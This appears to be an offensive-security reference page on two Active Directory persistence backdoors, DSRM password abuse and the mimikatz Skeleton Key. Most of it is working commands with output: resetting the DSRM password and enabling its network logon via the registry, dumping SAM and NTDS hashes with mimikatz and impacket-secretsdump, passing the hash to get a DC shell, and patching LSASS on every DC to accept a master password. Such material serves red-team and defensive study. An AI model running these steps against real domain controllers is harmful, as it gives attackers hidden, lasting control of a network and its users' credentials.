Skip to content
HackIndex logo

HackIndex

DSRM and Skeleton Key

4 min read Jun 11, 2026

Two techniques for maintaining backdoor access to domain controllers without relying on domain accounts. DSRM survives complete domain credential resets; Skeleton Key provides a universal password for all domain accounts until the DC reboots. Use both for layered persistence after domain takeover.

DSRM: Directory Services Restore Mode backdoor

Every DC has a local DSRM Administrator account separate from domain accounts. It is set during DC promotion and almost never changed. By resetting the DSRM password to one you control and enabling network logon, you get a local admin account on the DC that survives full domain credential resets — even if every domain account is wiped.

By default, DSRM logon is only available in recovery mode. Setting DsrmAdminLogonBehavior = 2 in the registry makes it available over the network at all times.

PS C:\Users\Guest\Desktop> # Reset DSRM password on this DC (run locally or via PSRemoting)
PS C:\Users\Guest\Desktop> ntdsutil "set dsrm password" "reset password on server null" "$DSRM_PASSWORD" quit quit
 
PS C:\Users\Guest\Desktop> # Enable DSRM logon over the network — value 2 = always allow
PS C:\Users\Guest\Desktop> reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
 
PS C:\Users\Guest\Desktop> # Dump DSRM NT hash from local SAM
PS C:\Users\Guest\Desktop> # On Kali: /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
PS C:\Users\Guest\Desktop> .\mimikatz.exe "token::elevate" "lsadump::sam" exit 
SAMKey : ...

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 8c6976e5b5410415bde908bd4dee15df
┌──(kali㉿kali)-[~]
└─$ # Extract local SAM from DC — DSRM Administrator hash is here
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$DA_USER:$DA_PASSWORD@$TARGET_IP -sam
 
┌──(kali㉿kali)-[~]
└─$ # Or dump via VSS (includes DSRM)
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$DA_USER:$DA_PASSWORD@$TARGET_IP -use-vss
 
┌──(kali㉿kali)-[~]
└─$ # Enable DsrmAdminLogonBehavior remotely via registry
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $DA_USER -p $DA_PASSWORD -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f' 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c6976e5b5410415bde908bd4dee15df:::

Store the DSRM NT hash. After domain-wide credential reset, all domain accounts lose their hashes — the DSRM account is unaffected because it is local to the DC, not stored in NTDS.dit.

┌──(kali㉿kali)-[~]
└─$ # DSRM Administrator is local — authenticate with local-auth flag
┌──(kali㉿kali)-[~]
└─$ # Account: Administrator, scope: local to this DC only
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $TARGET_IP/Administrator@$TARGET_IP -hashes :$DSRM_NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Verify via nxc with local-auth
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -H $DSRM_NTHASH --local-auth
 
┌──(kali㉿kali)-[~]
└─$ # From DC shell: re-grant domain DA rights or dump NTDS
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $TARGET_IP/Administrator@$TARGET_IP -hashes :$DSRM_NTHASH -just-dc 
SMB  10.10.10.10  445  DC01  [+] DC01\Administrator:$DSRM_NTHASH (Pwn3d!)
mimikatz # # Pass-the-Hash with DSRM hash — local scope, must target DC hostname or IP
mimikatz # sekurlsa::pth /user:Administrator /domain:$DC_HOSTNAME /ntlm:$DSRM_NTHASH /run:cmd.exe

Skeleton Key

Skeleton Key patches the LSASS process on the DC to accept a universal password for every domain account. The real password continues to work — a second master password is added alongside it. Any user can now authenticate with either their real password or the skeleton password.

Non-persistent: the patch lives in LSASS memory and resets on DC reboot. For multi-DC environments, patch each DC separately. Most EDR and AV solutions detect the LSASS patch.

mimikatz # # Must run on the DC as SYSTEM or DA — patches LSASS in memory
mimikatz # # On Kali: /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
mimikatz # privilege::debug
mimikatz # misc::skeleton 
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
┌──(kali㉿kali)-[~]
└─$ # Default Skeleton Key password is 'mimikatz'
┌──(kali㉿kali)-[~]
└─$ # Any domain user now authenticates with their real password OR 'mimikatz'
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u administrator -p 'mimikatz' -d $DOMAIN
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $ANY_USER -p 'mimikatz' -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Impacket tools
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/administrator:'mimikatz'@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # For multi-DC environments — patch each DC
┌──(kali㉿kali)-[~]
└─$ # Get all DCs and loop
┌──(kali㉿kali)-[~]
└─$ nxc smb $DC_IP_2 -u $DA_USER -p $DA_PASSWORD -x 'mimikatz privilege::debug misc::skeleton' 
SMB  10.10.10.10  445  DC01  [+] corp.local\administrator:mimikatz (Pwn3d!)

Skeleton Key is the more detectable option but useful for short operations where you need to move fast across many systems without managing individual hashes. DSRM is the durable persistence — use it as the long-term fallback after Skeleton Key resets on reboot.

Remove DSRM persistence when done: set DsrmAdminLogonBehavior back to 0 and reset the DSRM password to something unknown.

References